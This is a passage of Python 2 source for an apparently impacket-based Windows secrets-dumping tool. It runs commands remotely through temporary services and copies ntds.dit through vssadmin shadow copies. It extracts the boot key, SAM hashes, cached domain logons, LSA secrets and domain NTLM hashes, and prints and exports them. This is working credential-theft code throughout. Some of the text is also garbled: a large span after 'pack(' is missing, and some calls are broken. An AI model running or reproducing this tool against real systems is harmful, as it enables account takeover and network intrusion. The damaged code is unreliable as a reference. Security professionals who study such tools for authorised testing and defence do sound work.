r'ncacn_np:445[\pipe\winreg]' self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' self.__rrp = None self.__bootKey = '' self.__disabled = False self.__shouldStop = False self.__started = False self.__scmr = None self.__regHandle = None self.__batchFile = '%TEMP%\\execute.bat' self.__shell = '%COMSPEC% /Q /c ' self.__output = '%SYSTEMROOT%\\Temp\\__output' self.__answerTMP = '' self.__tmpServiceName = None self.__serviceDeleted = False def __connectSvcCtl(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) rpc.set_smb_connection(self.__smbConnection) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) def __connectWinReg(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) rpc.set_smb_connection(self.__smbConnection) self.__rrp = rpc.get_dce_rpc() self.__rrp.connect() self.__rrp.bind(rrp.MSRPC_UUID_RRP) def getMachineNameAndDomain(self): return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() def getDefaultLoginAccount(self): try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') keyHandle = ans['phkResult'] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') username = dataValue[:-1] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, 'DefaultDomainName') domain = dataValue[:-1] rrp.hBaseRegCloseKey(self.__rrp, keyHandle) if len(domain) > 0: return '%s\\%s' % (domain,username) else: return username except Exception, e: return None def getServiceAccount(self, serviceName): try: # Open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) serviceHandle = ans['lpServiceHandle'] resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) account = resp['lpServiceConfig']['lpServiceStartName'][:-1] scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) if account.startswith('.\\'): account = account[2:] return account except Exception, e: logging.error(e) return None def __checkServiceStatus(self): # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) self.__serviceHandle = ans['lpServiceHandle'] # Let's check its status ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: logging.info('Service %s is in stopped state'% self.__serviceName) self.__shouldStop = True self.__started = False elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: logging.debug('Service %s is already running'% self.__serviceName) self.__shouldStop = False self.__started = True else: raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) # Let's check its configuration if service is stopped, maybe it's disabled :s if self.__started == False: ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) if ans['lpServiceConfig']['dwStartType'] == 0x4: logging.info('Service %s is disabled, enabling it'% self.__serviceName) self.__disabled = True scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) logging.info('Starting service %s' % self.__serviceName) scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) time.sleep(1) def enableRegistry(self): self.__connectSvcCtl() self.__checkServiceStatus() self.__connectWinReg() def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: logging.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: logging.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) if self.__serviceDeleted is False: # Check again the service we created does not exist, starting a new connection # Why?.. Hitting CTRL+C might break the whole existing DCE connection try: rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*self.__smbConnection.getCredentials()) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) rpc.disconnect() except Exception, e: # If service is stopped it'll trigger an exception # If service does not exist it'll trigger an exception # So. we just wanna be sure we delete it, no need to # show this exception message pass def finish(self): self.__restore() self.__rrp.disconnect() self.__scmr.disconnect() def getBootKey(self): bootKey = '' ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] for key in ['JD','Skew1','GBG','Data']: logging.debug('Retrieving class info for %s'% key) ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) keyHandle = ans['phkResult'] ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) bootKey = bootKey + ans['lpClassOut'][:-1] rrp.hBaseRegCloseKey(self.__rrp, keyHandle) transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] bootKey = bootKey.decode('hex') for i in xrange(len(bootKey)): self.__bootKey += bootKey[transforms[i]] logging.info('Target system bootKey: 0x%s' % self.__bootKey.encode('hex')) return self.__bootKey def checkNoLMHashPolicy(self): logging.debug('Checking NoLMHash Policy') ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') keyHandle = ans['phkResult'] try: dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') except: noLMHash = 0 if noLMHash != 1: logging.debug('LMHashes are being stored') return False logging.debug('LMHashes are NOT being stored') return True def __retrieveHive(self, hiveName): tmpFileName = ''.join([random.choice(string.letters) for i in range(8)]) + '.tmp' ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) except: raise Exception("Can't open %s hive" % hiveName) keyHandle = ans['phkResult'] resp = rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) # Now let's open the remote file, so it can be read later remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) return remoteFileName def saveSAM(self): logging.debug('Saving remote SAM database') return self.__retrieveHive('SAM') def saveSECURITY(self): logging.debug('Saving remote SECURITY database') return self.__retrieveHive('SECURITY') def __executeRemote(self, data): self.__tmpServiceName = ''.join([random.choice(string.letters) for i in range(8)]).encode('utf-16le') command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile self.__serviceDeleted = False resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) self.__serviceDeleted = True scmr.hRCloseServiceHandle(self.__scmr, service) def __answer(self, data): self.__answerTMP += data def __getLastVSS(self): self.__executeRemote('%COMSPEC% /C vssadmin list shadows') time.sleep(5) tries = 0 while True: try: self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) break except Exception, e: if tries > 30: # We give up raise Exception('Too many tries trying to list vss shadows') if str(e).find('SHARING') > 0: # Stuff didn't finish yet.. wait more time.sleep(5) tries +=1 pass else: raise lines = self.__answerTMP.split('\n') lastShadow = '' # Let's find the last one for line in lines: if line.find('GLOBALROOT') > 0: lastShadow = line[line.find('\\\\?'):][:-1] self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') return lastShadow def saveNTDS(self): logging.info('Searching for NTDS.dit') # First of all, see if NTDS is at the target server tid = self.__smbConnection.connectTree('ADMIN$') try: fid = self.__smbConnection.openFile(tid, 'NTDS\\ntds.dit') except Exception, e: if str(e).find('NOT_FOUND') > 0: return None logging.info('NTDS.dit found. Calling vssadmin to get a copy. This might take some time') # Get the list of remote shadows shadow = self.__getLastVSS() if shadow == '': # No shadow, create one self.__executeRemote('%COMSPEC% /C vssadmin create shadow /For=%SYSTEMDRIVE%') shadow = self.__getLastVSS() shouldRemove = True if shadow == '': raise Exception('Could not get a VSS') else: shouldRemove = False # Now copy the ntds.dit to the temp directory tmpFileName = ''.join([random.choice(string.letters) for i in range(8)]) + '.tmp' self.__executeRemote('%%COMSPEC%% /C copy %s\\Windows\\NTDS\\ntds.dit %%SYSTEMROOT%%\\Temp\\%s' % (shadow, tmpFileName)) if shouldRemove is True: self.__executeRemote('%COMSPEC% /C vssadmin delete shadows /For=%SYSTEMDRIVE% /Quiet') self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) return remoteFileName class CryptoCommon: # Common crypto stuff used over different classes def transformKey(self, InputKey): # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key OutputKey = [] OutputKey.append( chr(ord(InputKey[0]) >> 0x01) ) OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) for i in range(8): OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) return "".join(OutputKey) def deriveKey(self, baseKey): # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key # Let I be the little-endian, unsigned integer. # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. # Note that because I is in little-endian byte order, I[0] is the least significant byte. # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] key = pack(' 0: items = sorted(self.__itemsFound) fd = open(fileName+'.sam','w+') for item in items: fd.write(self.__itemsFound[item]+'\n') fd.close() class LSASecrets(OfflineRegistry): def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False): OfflineRegistry.__init__(self,securityFile, isRemote) self.__hashedBootKey = '' self.__bootKey = bootKey self.__LSAKey = '' self.__NKLMKey = '' self.__isRemote = isRemote self.__vistaStyle = True self.__cryptoCommon = CryptoCommon() self.__securityFile = securityFile self.__remoteOps = remoteOps self.__cachedItems = [] self.__secretItems = [] def MD5(self, data): md5 = hashlib.new('md5') md5.update(data) return md5.digest() def __sha256(self, key, value, rounds=1000): sha = hashlib.sha256() sha.update(key) for i in range(1000): sha.update(value) return sha.digest() def __decryptAES(self, key, value, iv='\x00'*16): plainText = '' if iv != '\x00'*16: aes256 = AES.new(key,AES.MODE_CBC, iv) for index in range(0, len(value), 16): if iv == '\x00'*16: aes256 = AES.new(key,AES.MODE_CBC, iv) cipherBuffer = value[index:index+16] # Pad buffer to 16 bytes if len(cipherBuffer) < 16: cipherBuffer += '\x00' * (16-len(cipherBuffer)) plainText += aes256.decrypt(cipherBuffer) return plainText def __decryptSecret(self, key, value): # [MS-LSAD] Section 5.1.2 plainText = '' key0 = key for i in range(0, len(value), 8): cipherText = value[:8] tmpStrKey = key0[:7] tmpKey = self.__cryptoCommon.transformKey(tmpStrKey) Crypt1 = DES.new(tmpKey, DES.MODE_ECB) plainText += Crypt1.decrypt(cipherText) cipherText = cipherText[8:] key0 = key0[7:] value = value[8:] # AdvanceKey if len(key0) < 7: key0 = key[len(key0):] secret = LSA_SECRET_XP(plainText) return (secret['Secret']) def __decryptHash(self, key, value, iv): hmac_md5 = HMAC.new(key,iv) rc4key = hmac_md5.digest() rc4 = ARC4.new(rc4key) data = rc4.encrypt(value) return data def __decryptLSA(self, value): if self.__vistaStyle is True: # ToDo: There could be more than one LSA Keys record = LSA_SECRET(value) tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32]) plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) self.__LSAKey = record['Secret'][52:][:32] else: md5 = hashlib.new('md5') md5.update(self.__bootKey) for i in range(1000): md5.update(value[60:76]) tmpKey = md5.digest() rc4 = ARC4.new(tmpKey) plainText = rc4.decrypt(value[12:60]) self.__LSAKey = plainText[0x10:0x20] def __getLSASecretKey(self): logging.debug('Decrypting LSA Key') # Let's try the key post XP value = self.getValue('\\Policy\\PolEKList\\default') if value is None: logging.debug('PolEKList not found, trying PolSecretEncryptionKey') # Second chance value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default') self.__vistaStyle = False if value is None: # No way :( return None self.__decryptLSA(value[1]) def __getNLKMSecret(self): logging.debug('Decrypting NL$KM') value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default') if value is None: raise Exception("Couldn't get NL$KM value") if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) else: self.__NKLMKey = self.__decryptSecret(self.__LSAKey,value[1][0xc:]) def __pad(self, data): if (data & 0x3) > 0: return data + (data & 0x3) else: return data def dumpCachedHashes(self): if self.__securityFile is None: # No SECURITY file provided return logging.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)') # Let's first see if there are cached entries values = self.enumValues('\\Cache') if values == None: # No cache entries return try: # Remove unnecesary value values.remove('NL$Control') except: pass self.__getLSASecretKey() self.__getNLKMSecret() for value in values: logging.debug('Looking into %s' % value) record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) if record['CH'] != 16 * '\x00': if self.__vistaStyle is True: plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) else: plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) pass encHash = plainText[:0x10] plainText = plainText[0x48:] userName = plainText[:record['UserLength']].decode('utf-16le') plainText = plainText[self.__pad(record['UserLength']):] domain = plainText[:record['DomainNameLength']].decode('utf-16le') plainText = plainText[self.__pad(record['DomainNameLength']):] domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') answer = "%s:%s:%s:%s:::" % (userName, encHash.encode('hex'), domainLong, domain) self.__cachedItems.append(answer) print answer def __printSecret(self, name, secretItem): # Based on [MS-LSAD] section 3.1.1.4 # First off, let's discard NULL secrets. if len(secretItem) == 0: logging.debug('Discarding secret %s, NULL Data' % name) return # We might have secrets with zero if secretItem.startswith('\x00\x00'): logging.debug('Discarding secret %s, all zeros' % name) return upperName = name.upper() logging.info('%s ' % name) secret = '' if upperName.startswith('_SC_'): # Service name, a password might be there # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account the service # runs under if self.__isRemote is True: account = self.__remoteOps.getServiceAccount(name[4:]) if account is None: secret = '(Unknown User):' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = '(Unknown User):', secret += strDecoded elif upperName.startswith('DEFAULTPASSWORD'): # defaults password for winlogon # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account this password is for if self.__isRemote is True: account = self.__remoteOps.getDefaultLoginAccount() if account is None: secret = '(Unknown User):' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = '(Unknown User):' secret += strDecoded elif upperName.startswith('ASPNET_WP_PASSWORD'): try: strDecoded = secretItem.decode('utf-16le') except: pass else: secret = 'ASPNET: %s' % strDecoded elif upperName.startswith('$MACHINE.ACC'): # compute MD4 of the secret.. yes.. that is the nthash? :-o md4 = MD4.new() md4.update(secretItem) if self.__isRemote is True: machine, domain = self.__remoteOps.getMachineNameAndDomain() secret = "%s\\%s$:%s:%s:::" % (domain, machine, ntlm.LMOWFv1('','').encode('hex'), md4.digest().encode('hex')) else: secret = "$MACHINE.ACC: %s:%s" % (ntlm.LMOWFv1('','').encode('hex'), md4.digest().encode('hex')) if secret != '': print secret self.__secretItems.append(secret) else: # Default print, hexdump self.__secretItems.append('%s:%s' % (name, secretItem.encode('hex'))) hexdump(secretItem) def dumpSecrets(self): if self.__securityFile is None: # No SECURITY file provided return logging.info('Dumping LSA Secrets') # Let's first see if there are cached entries keys = self.enumKey('\\Policy\\Secrets') if keys == None: # No entries return try: # Remove unnecesary value keys.remove('NL$Control') except: pass if self.__LSAKey == '': self.__getLSASecretKey() for key in keys: logging.debug('Looking into %s' % key) value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key) if value is not None: if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) secret = record['Secret'] else: secret = self.__decryptSecret(self.__LSAKey,value[1][0xc:]) self.__printSecret(key, secret) def exportSecrets(self, fileName): if len(self.__secretItems) > 0: fd = open(fileName+'.secrets','w+') for item in self.__secretItems: fd.write(item+'\n') fd.close() def exportCached(self, fileName): if len(self.__cachedItems) > 0: fd = open(fileName+'.cached','w+') for item in self.__cachedItems: fd.write(item+'\n') fd.close() class NTDSHashes(): NAME_TO_INTERNAL = { 'uSNCreated':'ATTq131091', 'uSNChanged':'ATTq131192', 'name':'ATTm3', 'objectGUID':'ATTk589826', 'objectSid':'ATTr589970', 'userAccountControl':'ATTj589832', 'primaryGroupID':'ATTj589922', 'accountExpires':'ATTq589983', 'logonCount':'ATTj589993', 'sAMAccountName':'ATTm590045', 'sAMAccountType':'ATTj590126', 'lastLogonTimestamp':'ATTq589876', 'userPrincipalName':'ATTm590480', 'unicodePwd':'ATTk589914', 'dBCSPwd':'ATTk589879', 'ntPwdHistory':'ATTk589918', 'lmPwdHistory':'ATTk589984', 'pekList':'ATTk590689', } INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems()) SAM_NORMAL_USER_ACCOUNT = 0x30000000 SAM_MACHINE_ACCOUNT = 0x30000001 SAM_TRUST_ACCOUNT = 0x30000002 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) class PEK_KEY(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedPek','52s=""'), ) class CRYPTED_HASH(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedHash','16s=""'), ) class CRYPTED_HISTORY(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedHash',':'), ) def __init__(self, ntdsFile, bootKey, isRemote = False, history = False, noLMHash = True): self.__bootKey = bootKey self.__NTDS = ntdsFile self.__history = history self.__noLMHash = noLMHash if self.__NTDS is not None: self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) self.__cursor = self.__ESEDB.openTable('datatable') self.__tmpUsers = list() self.__PEK = None self.__cryptoCommon = CryptoCommon() self.__itemsFound = {} def __getPek(self): logging.info('Searching for pekList, be patient') pek = None while True: record = self.__ESEDB.getNextRow(self.__cursor) if record is None: break elif record[self.NAME_TO_INTERNAL['pekList']] is not None: pek = record[self.NAME_TO_INTERNAL['pekList']].decode('hex') break elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: # Okey.. we found some users, but we're not yet ready to process them. # Let's just store them in a temp list self.__tmpUsers.append(record) if pek is not None: encryptedPek = self.PEK_KEY(pek) md5 = hashlib.new('md5') md5.update(self.__bootKey) for i in range(1000): md5.update(encryptedPek['KeyMaterial']) tmpKey = md5.digest() rc4 = ARC4.new(tmpKey) plainText = rc4.encrypt(encryptedPek['EncryptedPek']) self.__PEK = plainText[36:] def __removeRC4Layer(self, cryptedHash): md5 = hashlib.new('md5') md5.update(self.__PEK) md5.update(cryptedHash['KeyMaterial']) tmpKey = md5.digest() rc4 = ARC4.new(tmpKey) plainText = rc4.encrypt(cryptedHash['EncryptedHash']) return plainText def __removeDESLayer(self, cryptedHash, rid): Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) Crypt1 = DES.new(Key1, DES.MODE_ECB) Crypt2 = DES.new(Key2, DES.MODE_ECB) decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) return decryptedHash def __decryptHash(self, record): logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) sid = SAMR_RPC_SID(record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')) rid = sid.formatCanonical().split('-')[-1] if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: encryptedLMHash = self.CRYPTED_HASH(record[self.NAME_TO_INTERNAL['dBCSPwd']].decode('hex')) tmpLMHash = self.__removeRC4Layer(encryptedLMHash) LMHash = self.__removeDESLayer(tmpLMHash, rid) else: LMHash = ntlm.LMOWFv1('','') encryptedLMHash = None if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: encryptedNTHash = self.CRYPTED_HASH(record[self.NAME_TO_INTERNAL['unicodePwd']].decode('hex')) tmpNTHash = self.__removeRC4Layer(encryptedNTHash) NTHash = self.__removeDESLayer(tmpNTHash, rid) else: NTHash = ntlm.NTOWFv1('','') encryptedNTHash = None if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) else: userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] answer = "%s:%s:%s:%s:::" % (userName, rid, LMHash.encode('hex'), NTHash.encode('hex')) self.__itemsFound[record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')] = answer print answer if self.__history: LMHistory = [] NTHistory = [] if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: lmPwdHistory = record[self.NAME_TO_INTERNAL['lmPwdHistory']] encryptedLMHistory = self.CRYPTED_HISTORY(record[self.NAME_TO_INTERNAL['lmPwdHistory']].decode('hex')) tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) for i in range(0, len(tmpLMHistory)/16): LMHash = self.__removeDESLayer(tmpLMHistory[i*16:(i+1)*16], rid) LMHistory.append(LMHash) if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: ntPwdHistory = record[self.NAME_TO_INTERNAL['ntPwdHistory']] encryptedNTHistory = self.CRYPTED_HISTORY(record[self.NAME_TO_INTERNAL['ntPwdHistory']].decode('hex')) tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) for i in range(0, len(tmpNTHistory)/16): NTHash = self.__removeDESLayer(tmpNTHistory[i*16:(i+1)*16], rid) NTHistory.append(NTHash) for i, (LMHash, NTHash) in enumerate(map(lambda l,n: (l,n) if l else ('',n), LMHistory[1:], NTHistory[1:])): if self.__noLMHash: lmhash = ntlm.LMOWFv1('','').encode('hex') else: lmhash = LMHash.encode('hex') answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, NTHash.encode('hex')) self.__itemsFound[record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')+str(i)] = answer print answer def dump(self): if self.__NTDS is None: # No NTDS.dit file provided return logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') # We start getting rows from the table aiming at reaching # the pekList. If we find users records we stored them # in a temp list for later process. self.__getPek() if self.__PEK is not None: logging.info('Pek found and decrypted: 0x%s' % self.__PEK.encode('hex')) logging.info('Reading and decrypting hashes from %s ' % self.__NTDS) # First of all, if we have users already cached, let's decrypt their hashes for record in self.__tmpUsers: self.__decryptHash(record) # Now let's keep moving through the NTDS file and decrypting what we find while True: try: record = self.__ESEDB.getNextRow(self.__cursor) except: logging.error('Error while calling getNextRow(), trying the next one') continue if record is None: break try: if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: self.__decryptHash(record) except Exception, e: #import traceback #print traceback.print_exc() try: logging.error("Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) logging.error(str(e)) except: logging.error("Error while processing row!") logging.error(str(e)) pass def export(self, fileName): if len(self.__itemsFound) > 0: items = sorted(self.__itemsFound) fd = open(fileName+'.ntds','w+') for item in items: try: fd.write(self.__itemsFound[item]+'\n') except Exception, e: try: logging.error("Error writing entry %d, skipping" % item) except: logging.error("Error writing entry, skipping") pass fd.close() def finish(self): if self.__NTDS is not None: self.__ESEDB.close() class DumpSecrets: def __init__(self, address, username = '', password = '', domain='', hashes = None, system=False, security=False, sam=False, ntds=False, outputFileName = None, history=False): self.__remoteAddr = address self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = system self.__securityHive = security self.__samHive = sam self.__ntdsFile = ntds self.__history = history self.__noLMHash = True self.__isRemote = True self.__outputFileName = outputFileName if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def connect(self): self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr) self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def getBootKey(self): # Local Version whenever we are given the files directly bootKey = '' tmpKey = '' winreg = winregistry.Registry(self.__systemHive, self.__isRemote) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet for key in ['JD','Skew1','GBG','Data']: logging.debug('Retrieving class info for %s'% key) ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key)) digit = ans[:16].decode('utf-16le') tmpKey = tmpKey + digit transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] tmpKey = tmpKey.decode('hex') for i in xrange(len(tmpKey)): bootKey += tmpKey[transforms[i]] logging.info('Target system bootKey: 0x%s' % bootKey.encode('hex')) return bootKey def checkNoLMHashPolicy(self): logging.debug('Checking NoLMHash Policy') winreg = winregistry.Registry(self.__systemHive, self.__isRemote) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) if noLmHash is not None: noLmHash = noLmHash[1] else: noLmHash = 0 if noLmHash != 1: logging.debug('LMHashes are being stored') return False logging.debug('LMHashes are NOT being stored') return True def dump(self): try: if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False bootKey = self.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = self.checkNoLMHashPolicy() else: self.__isRemote = True self.connect() self.__remoteOps = RemoteOperations(self.__smbConnection) self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() if self.__isRemote == True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) if self.__isRemote == True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets= LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote = self.__isRemote) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) if self.__isRemote == True: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote = self.__isRemote, history = self.__history, noLMHash = self.__noLMHash) self.__NTDSHashes.dump() if self.__outputFileName is not None: self.__NTDSHashes.export(self.__outputFileName) self.cleanup() except (Exception, KeyboardInterrupt), e: #import traceback #print traceback.print_exc() logging.error(e) try: self.cleanup() except: pass def cleanup(self): logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish() if self.__isRemote == True: self.__smbConnection.logoff() # Process command-line arguments. if __name__ == '__main__': print version.BANNER parser = argparse.ArgumentParser() 